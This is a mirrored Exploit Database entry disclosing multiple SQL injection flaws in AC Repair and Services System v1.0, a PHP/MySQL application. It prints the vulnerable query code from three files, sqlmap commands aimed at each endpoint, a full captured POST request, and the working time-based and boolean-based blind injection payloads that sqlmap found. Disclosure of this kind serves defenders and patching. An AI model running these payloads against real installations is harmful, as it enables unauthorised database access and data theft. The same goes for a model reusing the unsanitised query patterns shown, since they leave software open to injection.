AC Repair and Services System v1.0 – Multiple SQL Injection

• Exploit Database
• 128 阅读

• 作者： Gnanaraj Mauviel
  日期： 2024-03-03
• 类别：

  • remote
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/51844/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201

  # Exploit Title: AC Repair and Services System v1.0 - Multiple SQL Injection # Date: 27 December 2023 # Exploit Author: Gnanaraj Mauviel (@0xm3m) # Vendor: oretnom23 # Vendor Homepage: https://www.sourcecodester.com/php/16513/ac-repair-and-services-system-using-php-and-mysql-source-code-free-download.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-acrss.zip # Version: v1.0 # Tested on: Mac OSX, XAMPP, Apache, MySQL   -------------------------------------------------------------------------------------------------------------------------------------------   Source Code(/php-acrss/admin/user/manage_user.php):   <?php if(isset($_GET[&apos;id&apos;])){ $user = $conn->query("SELECT * FROM users where id =&apos;{$_GET[&apos;id&apos;]}&apos; "); foreach($user->fetch_array() as $k =>$v){ $meta[$k] = $v; } } ?>   -> sqlmap -u "http://localhost/php-acrss/admin/?page=user/manage_user&id=" --batch --- Parameter: id (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: page=user/manage_user&id=&apos; AND (SELECT 5500 FROM (SELECT(SLEEP(5)))hiCZ) AND &apos;rZIs&apos;=&apos;rZIs ---   Source Code(/php-acrss/classes/Master.php):   function delete_inquiry(){ extract($_POST); $del = $this->conn->query("DELETE FROM <code>inquiry_list</code> where id = &apos;{$id}&apos;"); if($del){ $resp[&apos;status&apos;] = &apos;success&apos;; $this->settings->set_flashdata(&apos;success&apos;," Inquiry successfully deleted."); }else{ $resp[&apos;status&apos;] = &apos;failed&apos;; $resp[&apos;error&apos;] = $this->conn->error; } return json_encode($resp);   }   -> sqlmap -u "http://localhost/php-acrss/classes/Master.php?f=delete_inquiry" --data="id=*" --batch --- Parameter: #1* ((custom) POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=&apos; AND (SELECT 7930 FROM (SELECT(SLEEP(5)))XwlG) AND &apos;Jimw&apos;=&apos;Jimw ---   Source Code(/php-acrss/classes/Users.php):   $qry = $this->conn->query("UPDATE users set $data where id = {$id}"); if($qry){ $this->settings->set_flashdata(&apos;success&apos;,&apos;User Details successfully updated.&apos;); foreach($_POST as $k => $v){ if($k != &apos;id&apos;){ if(!empty($data)) $data .=" , "; if($this->settings->userdata(&apos;id&apos;) == $id) $this->settings->set_userdata($k,$v); } }   POST /php-acrss/classes/Users.php?f=save HTTP/1.1 Host: localhost Content-Length: 943 sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120" Accept: */* Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAUtgvsSwiJifz27g X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36 sec-ch-ua-platform: "macOS" Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/php-acrss/admin/?page=user/manage_user&id=9 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: PHPSESSID=o92n8nati3696kg69plidv5e77 Connection: close   ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="id"   9 ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="firstname"   Claire ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="middlename"     ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="lastname"   Blake ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="username"   cblake ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="password"     ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="type"   2 ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="img"; filename="" Content-Type: application/octet-stream     ------WebKitFormBoundaryAUtgvsSwiJifz27g--   -> sqlmap -r ~/Documents/POST-localhost.txt --batch   --- Parameter: MULTIPART id ((custom) POST) Type: boolean-based blind Title: Boolean-based blind - Parameter replace (original value) Payload: ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="id"   (SELECT (CASE WHEN (3947=3947) THEN 9 ELSE (SELECT 2252 UNION SELECT 2638) END)) ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="firstname"   Claire ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="middlename"     ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="lastname"   Blake ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="username"   cblake ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="password"     ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="type"   2 ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="img"; filename="" Content-Type: application/octet-stream     ------WebKitFormBoundaryAUtgvsSwiJifz27g--   Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="id"   9 AND (SELECT 7168 FROM (SELECT(SLEEP(5)))pifO) ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="firstname"   Claire ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="middlename"     ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="lastname"   Blake ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="username"   cblake ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="password"     ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="type"   2 ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="img"; filename="" Content-Type: application/octet-stream     ------WebKitFormBoundaryAUtgvsSwiJifz27g-- ---